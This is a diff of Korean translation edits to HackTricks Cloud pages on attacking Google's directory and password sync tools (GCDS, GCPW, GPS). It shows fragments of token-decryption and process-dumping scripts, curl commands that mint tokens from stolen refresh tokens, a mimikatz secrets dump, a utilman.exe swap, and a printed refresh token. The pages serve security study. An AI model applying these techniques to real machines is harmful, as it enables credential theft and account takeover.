[**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe)가 **GCDS**를 감지하고 구성에 대한 정보를 얻으며 **심지어 비밀번호와 암호화된 자격 증명**까지 얻을 수 있다는 점에 유의하십시오. +> [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe)가 **GCDS**를 감지하고, 구성에 대한 정보를 얻으며 **심지어 비밀번호와 암호화된 자격 증명**까지 얻을 수 있다는 점에 유의하십시오. -또한 GCDS는 AD에서 Workspace로 비밀번호를 동기화하지 않습니다. 오히려 Workspace에서 새로 생성된 사용자에 대해 무작위 비밀번호를 생성할 뿐입니다. 다음 이미지에서 볼 수 있습니다: +또한 GCDS는 AD에서 Workspace로 비밀번호를 동기화하지 않습니다. 만약 무언가가 있다면, 새로 생성된 사용자에 대해 Workspace에서 무작위 비밀번호를 생성할 뿐입니다. 다음 이미지에서 볼 수 있습니다:
@@ -22,7 +22,7 @@ 바이너리 `config-manager.exe` (GUI가 있는 주요 GCDS 바이너리)는 기본적으로 **`C:\Program Files\Google Cloud Directory Sync`** 폴더의 **`Untitled-1.xml`** 파일에 구성된 Active Directory 자격 증명, 새로 고침 토큰 및 액세스를 저장합니다. 그러나 사용자 `Documents` 또는 **다른 폴더**에 저장될 수도 있습니다. -또한 레지스트리 **`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`**의 **`open.recent`** 키에는 최근에 열린 모든 구성 파일(xml)의 경로가 포함되어 있습니다. 따라서 **이를 확인하여 찾을 수 있습니다**. +게다가 레지스트리 **`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`** 내의 키 **`open.recent`**는 최근에 열린 모든 구성 파일(xml)의 경로를 포함하고 있습니다. 따라서 **이를 확인하여 찾는 것이 가능합니다**. 파일 내에서 가장 흥미로운 정보는 다음과 같습니다: ```xml @@ -54,7 +54,7 @@
refresh token과 password를 복호화하는 Powershell 스크립트 -```powershell +```bash # Paths and key names $xmlConfigPath = "C:\Users\c\Documents\conf.xml" $regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util" @@ -150,19 +150,19 @@ Write-Host "Decrypted Password: $decryptedPassword"
> [!NOTE] -> 이 정보를 확인하는 것은 **`C:\Program Files\Google Cloud Directory Sync`**의 **`DirSync.jar`**의 자바 코드를 확인하고 `exportkeys` 문자열을 검색하는 것으로 가능하다는 점에 유의하세요 (이는 바이너리 `upgrade-config.exe`가 키를 덤프하기 위해 기대하는 CLI 매개변수입니다). +> 이 정보를 확인하는 방법은 **`C:\Program Files\Google Cloud Directory Sync`**의 **`DirSync.jar`**의 자바 코드를 확인하고 `exportkeys` 문자열을 검색하는 것입니다 (이는 바이너리 `upgrade-config.exe`가 키를 덤프하기 위해 기대하는 CLI 매개변수입니다). PowerShell 스크립트를 사용하는 대신, 매개변수 `-exportKeys`와 함께 바이너리 **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`**를 사용하여 레지스트리에서 **Key**와 **IV**를 헥사로 가져온 다음, AES/CBC와 해당 키 및 IV를 사용하여 정보를 복호화할 수 있습니다. ### GCDS - 메모리에서 토큰 덤프하기 GCPW와 마찬가지로, `config-manager.exe` 프로세스의 메모리를 덤프할 수 있으며 (이것은 GCDS의 GUI가 있는 주요 바이너리의 이름입니다), 리프레시 및 액세스 토큰을 찾을 수 있습니다 (이미 생성된 경우).\ -AD에 구성된 자격 증명도 찾을 수 있을 것 같습니다. +AD에 구성된 자격 증명도 찾을 수 있을 것입니다.
config-manager.exe 프로세스 덤프 및 토큰 검색 -```powershell +```bash # Define paths for Procdump and Strings utilities $procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe" $stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe" @@ -235,9 +235,9 @@ Remove-Item -Path $dumpFolder -Recurse -Force ```
-### GCDS - 리프레시 토큰으로 액세스 토큰 생성 +### GCDS - 리프레시 토큰으로 액세스 토큰 생성하기 -리프레시 토큰을 사용하여 다음 명령에 지정된 클라이언트 ID와 클라이언트 비밀을 사용하여 액세스 토큰을 생성할 수 있습니다: +리프레시 토큰을 사용하여 다음 명령어에 지정된 클라이언트 ID와 클라이언트 비밀을 사용하여 액세스 토큰을 생성할 수 있습니다: ```bash curl -s --data "client_id=118556098869.apps.googleusercontent.com" \ --data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \ @@ -248,11 +248,11 @@ https://www.googleapis.com/oauth2/v4/token ### GCDS - Scopes > [!NOTE] -> 리프레시 토큰이 있더라도, 액세스 토큰을 생성하는 애플리케이션에서 지원하는 **스코프만 요청할 수 있기 때문에** 액세스 토큰에 대한 스코프를 요청하는 것은 불가능합니다. +> 리프레시 토큰이 있더라도, **액세스 토큰을 생성하는 애플리케이션에서 지원하는 범위만 요청할 수 있기 때문에** 액세스 토큰에 대한 모든 범위를 요청할 수는 없습니다. > > 또한, 리프레시 토큰은 모든 애플리케이션에서 유효하지 않습니다. -기본적으로 GCSD는 사용자가 모든 가능한 OAuth 스코프에 접근할 수 없으므로, 다음 스크립트를 사용하여 `refresh_token`으로 `access_token`을 생성하는 데 사용할 수 있는 스코프를 찾을 수 있습니다: +기본적으로 GCSD는 사용자가 모든 가능한 OAuth 범위에 접근할 수 없으므로, 다음 스크립트를 사용하여 `refresh_token`으로 `access_token`을 생성하는 데 사용할 수 있는 범위를 찾을 수 있습니다:
diff --git a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md index 2ab801a3f..f2b43affb 100644 --- a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md +++ b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md @@ -4,10 +4,10 @@ ## 기본 정보 -이것은 Google Workspaces가 제공하는 단일 로그인으로, 사용자가 **자신의 Workspace 자격 증명**을 사용하여 Windows PC에 로그인할 수 있게 해줍니다. 또한, 이는 PC의 여러 위치에 Google Workspace에 접근하기 위한 토큰을 저장합니다. +이것은 Google Workspaces가 제공하는 단일 로그인으로, 사용자가 **자신의 Workspace 자격 증명**을 사용하여 Windows PC에 로그인할 수 있습니다. 또한, 이는 PC의 여러 위치에 Google Workspace에 접근하기 위한 토큰을 저장합니다. > [!TIP] -> [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe)가 **GCPW**를 감지하고, 구성에 대한 정보를 얻으며 **토큰**까지도 확인할 수 있다는 점에 유의하세요. +> [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe)가 **GCPW**를 감지하고, 구성에 대한 정보를 얻으며 **심지어 토큰**까지 가져올 수 있다는 점에 유의하세요. ### GCPW - MitM @@ -27,20 +27,18 @@ scope=https://www.google.com/accounts/OAuthLogin &device_id=d5c82f70-71ff-48e8-94db-312e64c7354f &device_type=chrome ``` -새로운 줄이 추가되어 가독성이 향상되었습니다. - > [!NOTE] -> `Proxifier`를 PC에 설치하고 `utilman.exe` 바이너리를 `cmd.exe`로 덮어쓰고 Windows 로그인 페이지에서 **접근성 기능**을 실행하여 MitM을 수행할 수 있었습니다. 이로 인해 **CMD**가 실행되며, 여기서 **Proxifier를 실행하고 구성**할 수 있습니다.\ -> `Proxifier`에서 QUICK UDP 트래픽을 **차단하는 것을 잊지 마세요**. 이렇게 하면 TCP 통신으로 다운그레이드되어 볼 수 있습니다. +> `Proxifier`를 PC에 설치하고 `utilman.exe` 바이너리를 `cmd.exe`로 덮어쓰고 Windows 로그인 페이지에서 **접근성 기능**을 실행하면 MitM을 수행할 수 있습니다. 이로 인해 **CMD**가 실행되며, 여기서 **Proxifier를 시작하고 구성**할 수 있습니다.\ +> `Proxifier`에서 **QUICK UDP** 트래픽을 차단하는 것을 잊지 마세요. 이렇게 하면 TCP 통신으로 다운그레이드되어 볼 수 있습니다. > > 또한 "서비스 및 기타 사용자"에서 두 가지 옵션을 구성하고 Windows에 Burp CA 인증서를 설치하세요. -게다가 **`HKLM:\SOFTWARE\Google\GCPW`**에 `enable_verbose_logging = 1` 및 `log_file_path = C:\Public\gcpw.log` 키를 추가하면 일부 로그를 저장할 수 있습니다. +또한 **`HKLM:\SOFTWARE\Google\GCPW`**에 `enable_verbose_logging = 1` 및 `log_file_path = C:\Public\gcpw.log` 키를 추가하면 일부 로그를 저장할 수 있습니다. ### GCPW - 지문 GCPW가 장치에 설치되어 있는지 확인하려면 다음 프로세스가 존재하는지 또는 다음 레지스트리 키가 존재하는지 확인할 수 있습니다: -```powershell +```bash # Check process gcpw_extension.exe if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) { Write-Output "The process gcpw_xtension.exe is running." @@ -100,18 +98,18 @@ Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist." > > 내가 아는 한, 토큰 핸들에서 refresh token이나 access token을 얻는 것은 불가능합니다. -또한 **`C:\ProgramData\Google\Credential Provider\Policies\\PolicyFetchResponse`** 파일은 `enableDmEnrollment`, `enableGcpAutoUpdate`, `enableMultiUserLogin`(여러 Workspace 사용자가 컴퓨터에 로그인할 수 있는 경우) 및 `validityPeriodDays`(사용자가 Google에 직접 재인증할 필요가 없는 일수)와 같은 다양한 **설정** 정보를 포함하는 json입니다. +또한 **`C:\ProgramData\Google\Credential Provider\Policies\\PolicyFetchResponse`** 파일은 `enableDmEnrollment`, `enableGcpAutoUpdate`, `enableMultiUserLogin` (여러 Workspace 사용자가 컴퓨터에 로그인할 수 있는 경우) 및 `validityPeriodDays` (사용자가 Google에 직접 재인증할 필요가 없는 일수)와 같은 다양한 **설정** 정보를 포함하는 json입니다. ## GCPW - 토큰 가져오기 -### GCPW - 레지스트리 Refresh Tokens +### GCPW - 레지스트리 리프레시 토큰 -레지스트리 **`HKCU:\SOFTWARE\Google\Accounts`** 내에서 암호화된 **`refresh_token`**을 포함한 일부 계정을 찾을 수 있을 것입니다. **`ProtectedData.Unprotect`** 메서드를 사용하면 쉽게 복호화할 수 있습니다. +레지스트리 **`HKCU:\SOFTWARE\Google\Accounts`** 내에서 암호화된 **`refresh_token`**을 포함한 일부 계정을 찾을 수 있습니다. **`ProtectedData.Unprotect`** 메서드를 사용하면 쉽게 복호화할 수 있습니다.
Get HKCU:\SOFTWARE\Google\Accounts data and decrypt refresh_tokens -```powershell +```bash # Import required namespace for decryption Add-Type -AssemblyName System.Security @@ -165,7 +163,7 @@ Get-RegistryKeysAndDecryptTokens -keyPath $baseKey ``` Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI ``` -[**이 비디오**](https://www.youtube.com/watch?v=FEQxHRRP_5I)에서 설명한 바와 같이, 레지스트리에서 토큰을 찾지 못하면 **`HKLM:\SOFTWARE\Google\GCPW\Users\\th`**의 값을 수정(또는 삭제)할 수 있으며, 사용자가 컴퓨터에 다시 접근할 때 다시 로그인해야 하고 **토큰은 이전 레지스트리에 저장됩니다**. +[**이 비디오**](https://www.youtube.com/watch?v=FEQxHRRP_5I)에서 설명한 바와 같이, 레지스트리에서 토큰을 찾지 못한 경우 **`HKLM:\SOFTWARE\Google\GCPW\Users\\th`**에서 값을 수정(또는 삭제)할 수 있으며, 사용자가 컴퓨터에 다시 접근할 때 다시 로그인해야 하고 **토큰은 이전 레지스트리에 저장됩니다**. ### GCPW - 디스크 새로 고침 토큰 @@ -174,20 +172,20 @@ Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Acco - `%LocalAppData%\Google\Chrome\User Data\Default\Web Data` - `%LocalAppData%\Google\Chrome\Profile*\Default\Web Data` -이러한 토큰에 접근하는 **C# 코드**는 [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe)에서 복호화된 방식으로 찾을 수 있습니다. +이러한 토큰에 접근하는 **C# 코드**를 [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe)에서 복호화된 방식으로 찾을 수 있습니다. 또한, 암호화는 이 코드에서 찾을 수 있습니다: [https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216) -AESGCM이 사용되며, 암호화된 토큰은 **버전**(**`v10`** 현재)으로 시작하고, 그 다음에 [**12B의 nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42)가 있으며, 마지막으로 **16B의 mac**을 가진 **암호문**이 있습니다. +AESGCM이 사용되며, 암호화된 토큰은 **버전**(**`v10`** 현재)으로 시작하고, 그 다음에 [**12B의 nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42)가 있으며, 마지막으로 **16B의 mac**이 있는 **암호문**이 있습니다. ### GCPW - 프로세스 메모리에서 토큰 덤프하기 -다음 스크립트를 사용하여 **Chrome** 프로세스를 `procdump`로 **덤프**하고, **문자열**을 추출한 다음 **접근 및 새로 고침 토큰**과 관련된 문자열을 **검색**할 수 있습니다. Chrome이 어떤 Google 사이트에 연결되어 있다면, 일부 **프로세스는 메모리에 새로 고침 및/또는 접근 토큰을 저장하고 있습니다!** +다음 스크립트를 사용하여 `procdump`를 사용하여 모든 **Chrome** 프로세스를 **덤프**하고, **문자열**을 추출한 다음 **접근 및 새로 고침 토큰**과 관련된 문자열을 **검색**할 수 있습니다. Chrome이 일부 Google 사이트에 연결되어 있다면, 일부 **프로세스가 메모리에 새로 고침 및/또는 접근 토큰을 저장하고 있을 것입니다!**
Chrome 프로세스 덤프 및 토큰 검색 -```powershell +```bash # Define paths for Procdump and Strings utilities $procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe" $stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe" @@ -301,7 +299,7 @@ echo "Error: Token invalid or too short" ### GCPW - 리프레시 토큰으로 액세스 토큰 생성 -리프레시 토큰을 사용하여 다음 명령에 지정된 클라이언트 ID와 클라이언트 비밀을 사용하여 액세스 토큰을 생성할 수 있습니다: +리프레시 토큰을 사용하여 다음 명령에 지정된 클라이언트 ID 및 클라이언트 비밀을 사용하여 액세스 토큰을 생성할 수 있습니다: ```bash curl -s --data "client_id=77185425430.apps.googleusercontent.com" \ --data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \ @@ -316,7 +314,7 @@ https://www.googleapis.com/oauth2/v4/token > > 또한, 리프레시 토큰은 모든 애플리케이션에서 유효하지 않습니다. -기본적으로 GCPW는 사용자가 모든 가능한 OAuth 범위에 접근할 수 없으므로, 다음 스크립트를 사용하여 `refresh_token`으로 `access_token`을 생성하는 데 사용할 수 있는 범위를 찾을 수 있습니다: +기본적으로 GCPW는 사용자로서 모든 가능한 OAuth 범위에 접근할 수 없으므로, 다음 스크립트를 사용하여 `refresh_token`으로 `access_token`을 생성하는 데 사용할 수 있는 범위를 찾을 수 있습니다:
@@ -344,7 +342,7 @@ rm /tmp/valid_scopes.txt ```
-그리고 이것은 제가 작성 당시 받은 출력입니다: +그리고 이것은 내가 작성할 당시 받은 출력입니다:
@@ -380,7 +378,7 @@ https://www.googleapis.com/auth/userinfo.profile ```
-게다가, Chromium 소스 코드를 확인하면 [**이 파일을 찾을 수 있습니다**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24), 이 파일에는 **이전에 무차별 대입된 목록에 나타나지 않는 다른 범위**가 포함되어 있습니다. 따라서, 이러한 추가 범위는 다음과 같이 가정할 수 있습니다: +게다가, Chromium 소스 코드를 확인하면 [**이 파일을 찾을 수 있습니다**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24), 이 파일에는 **이전에 무차별 대입된 목록에 나타나지 않는** **다른 범위**가 포함되어 있습니다. 따라서, 이러한 추가 범위는 다음과 같이 가정할 수 있습니다:
@@ -468,9 +466,9 @@ https://www.googleapis.com/auth/wallet.chrome // OAuth2 scope for access to all Google APIs. const char kAnyApiOAuth2Scope[] = "https://www.googleapis.com/auth/any-api"; ``` -그러나 이 범위를 사용하여 gmail에 접근하거나 그룹을 나열하려고 했지만 작동하지 않았으므로 여전히 얼마나 유용한지 모르겠습니다. +하지만, 저는 이 범위를 사용하여 gmail에 접근하거나 그룹을 나열하려고 했지만 작동하지 않았습니다. 그래서 여전히 얼마나 유용한지 모르겠습니다. -**모든 범위로 액세스 토큰 가져오기**: +**모든 범위로 액세스 토큰 얻기**:
@@ -591,7 +589,7 @@ https://www.googleapis.com/oauth2/v4/token
-https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile +https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile ```bash curl -X GET \ -H "Authorization: Bearer $access_token" \ @@ -760,7 +758,7 @@ curl -X POST \ https://www.googleapis.com/auth/ediscovery (Google Vault) -**Google Workspace Vault**는 Gmail, Drive, Chat 등 Google Workspace 서비스에 저장된 조직의 데이터를 위한 데이터 보존, 검색 및 내보내기 도구를 제공하는 Google Workspace의 애드온입니다. +**Google Workspace Vault**는 Gmail, Drive, Chat 등 Google Workspace 서비스에 저장된 조직의 데이터를 위한 데이터 보존, 검색 및 내보내기 도구를 제공하는 Google Workspace의 추가 기능입니다. - Google Workspace Vault의 **Matter**는 특정 사건, 조사 또는 법적 문제와 관련된 모든 정보를 조직하고 그룹화하는 **컨테이너**입니다. 이는 해당 문제와 관련된 **Holds**, **Searches**, 및 **Exports**를 관리하는 중앙 허브 역할을 합니다. - Google Workspace Vault의 **Hold**는 특정 사용자 또는 그룹에 적용되어 Google Workspace 서비스 내에서 데이터의 **삭제 또는 변경을 방지하는** **보존 조치**입니다. Holds는 관련 정보가 법적 사건이나 조사 기간 동안 손상되지 않고 수정되지 않도록 보장합니다. @@ -805,7 +803,7 @@ mimikatz_trunk\x64\mimikatz.exe privilege::debug token::elevate lsadump::secrets
-그런 다음, `https://www.google.com/accounts/OAuthLogin` 범위를 가진 **액세스 토큰**으로 비밀번호를 복호화할 개인 키를 요청할 수 있습니다: +그런 다음, **액세스 토큰**과 범위 `https://www.google.com/accounts/OAuthLogin`을 사용하여 비밀번호를 복호화할 개인 키를 요청할 수 있습니다:
@@ -885,12 +883,12 @@ decrypt_password(access_token, lsa_secret) ```
-Chromium 소스 코드에서 이 주요 구성 요소를 찾는 것이 가능합니다: +이것의 주요 구성 요소를 Chromium 소스 코드에서 찾는 것이 가능합니다: - API 도메인: [https://github.com/search?q=repo%3Achromium%2Fchromium%20%22devicepasswordescrowforwindows-pa%22\&type=code](https://github.com/search?q=repo%3Achromium%2Fchromium%20%22devicepasswordescrowforwindows-pa%22&type=code) - API 엔드포인트: [https://github.com/chromium/chromium/blob/21ab65accce03fd01050a096f536ca14c6040454/chrome/credential_provider/gaiacp/password_recovery_manager.cc#L70](https://github.com/chromium/chromium/blob/21ab65accce03fd01050a096f536ca14c6040454/chrome/credential_provider/gaiacp/password_recovery_manager.cc#L70) -## 참고 문헌 +## References - [https://www.youtube.com/watch?v=FEQxHRRP_5I](https://www.youtube.com/watch?v=FEQxHRRP_5I) - [https://issues.chromium.org/issues/40063291](https://issues.chromium.org/issues/40063291) diff --git a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md index 67934451f..ea1cb1982 100644 --- a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md +++ b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md @@ -22,12 +22,12 @@ AD와 관련하여 현재 **응용 프로그램 컨텍스트, 익명 또는 특정 자격 증명**을 사용하도록 지정할 수 있습니다. 자격 증명 옵션이 선택되면 **사용자 이름**은 **디스크**의 파일에 저장되고 **비밀번호**는 **암호화되어** **레지스트리**에 저장됩니다. -### GPS - 디스크에서 비밀번호 및 토큰 덤프 +### GPS - 디스크에서 비밀번호 및 토큰 덤프하기 > [!TIP] > [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe)가 **GPS**를 감지하고 구성에 대한 정보를 얻으며 **비밀번호와 토큰을 복호화**할 수 있다는 점에 유의하세요. -**`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** 파일에서 구성의 일부를 찾을 수 있으며, 여기에는 구성된 AD의 **`baseDN`**과 사용 중인 자격 증명의 **`username`**이 포함됩니다. +**`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** 파일에서 구성의 일부인 **`baseDN`**과 사용 중인 자격 증명의 **`username`**을 찾을 수 있습니다. 레지스트리 **`HKLM\Software\Google\Google Apps Password Sync`**에서 **암호화된 새로 고침 토큰**과 AD 사용자(있는 경우)의 **암호화된 비밀번호**를 찾을 수 있습니다. 또한, 토큰 대신 **SA 자격 증명**이 사용되는 경우, 해당 레지스트리 주소에서 암호화된 자격 증명도 찾을 수 있습니다. 이 레지스트리 내의 **값**은 **관리자**만 **액세스**할 수 있습니다. @@ -36,23 +36,23 @@ AD와 관련하여 현재 **응용 프로그램 컨텍스트, 익명 또는 특 암호화된 토큰(있는 경우)은 **`AuthToken`** 키 안에 있으며 **`CryptProtectData`** API를 사용하여 암호화됩니다. 이를 복호화하려면 비밀번호 동기화를 구성한 사용자와 동일해야 하며, **`CryptUnprotectData`**를 사용할 때 이 **엔트로피**를 사용해야 합니다: `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\ 또한, **`0123456789abcdefghijklmnopqrstv`** 사전을 사용하여 base32hex로 인코딩됩니다. -엔트로피 값은 도구를 사용하여 발견되었습니다. 이 도구는 **`CryptUnprotectData`** 및 **`CryptProtectData`** 호출을 모니터링하도록 구성되었으며, 그런 다음 `PasswordSync.exe`를 실행하고 모니터링하는 데 사용되었습니다. 이 도구는 구성된 비밀번호와 인증 토큰을 처음에 복호화하며, 두 경우 모두 **사용된 엔트로피 값**을 **표시합니다**: +엔트로피 값은 도구를 사용하여 발견되었습니다. 이 도구는 **`CryptUnprotectData`** 및 **`CryptProtectData`** 호출을 모니터링하도록 구성되었으며, 이후 `PasswordSync.exe`를 실행하고 모니터링하는 데 사용되었습니다. 이 도구는 구성된 비밀번호와 인증 토큰을 처음에 복호화하고, 두 경우 모두에서 사용된 **엔트로피 값**을 **표시합니다**:
-이 API 호출의 입력 또는 출력에서 **복호화된** 값을 볼 수 있다는 점에 유의하세요(Winpeas가 작동을 멈춘 경우). +이 API 호출의 입력 또는 출력에서 **복호화된** 값을 볼 수 있는 것도 가능합니다(Winpeas가 작동을 멈춘 경우를 대비하여). 비밀번호 동기화가 **SA 자격 증명으로 구성된 경우**, 레지스트리 **`HKLM\Software\Google\Google Apps Password Sync`**의 키 안에 저장됩니다. -### GPS - 메모리에서 토큰 덤프 +### GPS - 메모리에서 토큰 덤프하기 GCPW와 마찬가지로 `PasswordSync.exe` 및 `password_sync_service.exe` 프로세스의 메모리를 덤프할 수 있으며, 이미 생성된 경우 새로 고침 및 액세스 토큰을 찾을 수 있습니다.\ -AD 구성 자격 증명도 찾을 수 있을 것입니다. +AD에 구성된 자격 증명도 찾을 수 있을 것입니다.
덤프 PasswordSync.exepassword_sync_service.exe 프로세스 및 토큰 검색 -```powershell +```bash # Define paths for Procdump and Strings utilities $procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe" $stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe" @@ -127,9 +127,9 @@ Write-Output "" ```
-### GPS - 리프레시 토큰으로 액세스 토큰 생성 +### GPS - 리프레시 토큰으로 액세스 토큰 생성하기 -리프레시 토큰을 사용하여 다음 명령에 지정된 클라이언트 ID와 클라이언트 비밀을 사용하여 액세스 토큰을 생성할 수 있습니다: +리프레시 토큰을 사용하여 다음 명령어에 지정된 클라이언트 ID와 클라이언트 비밀을 사용하여 액세스 토큰을 생성할 수 있습니다: ```bash curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \ --data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \ @@ -172,7 +172,7 @@ rm /tmp/valid_scopes.txt ```
-그리고 이것은 제가 작성 당시 받은 출력입니다: +그리고 이것은 내가 작성할 당시 받은 출력입니다: ``` https://www.googleapis.com/auth/admin.directory.user ```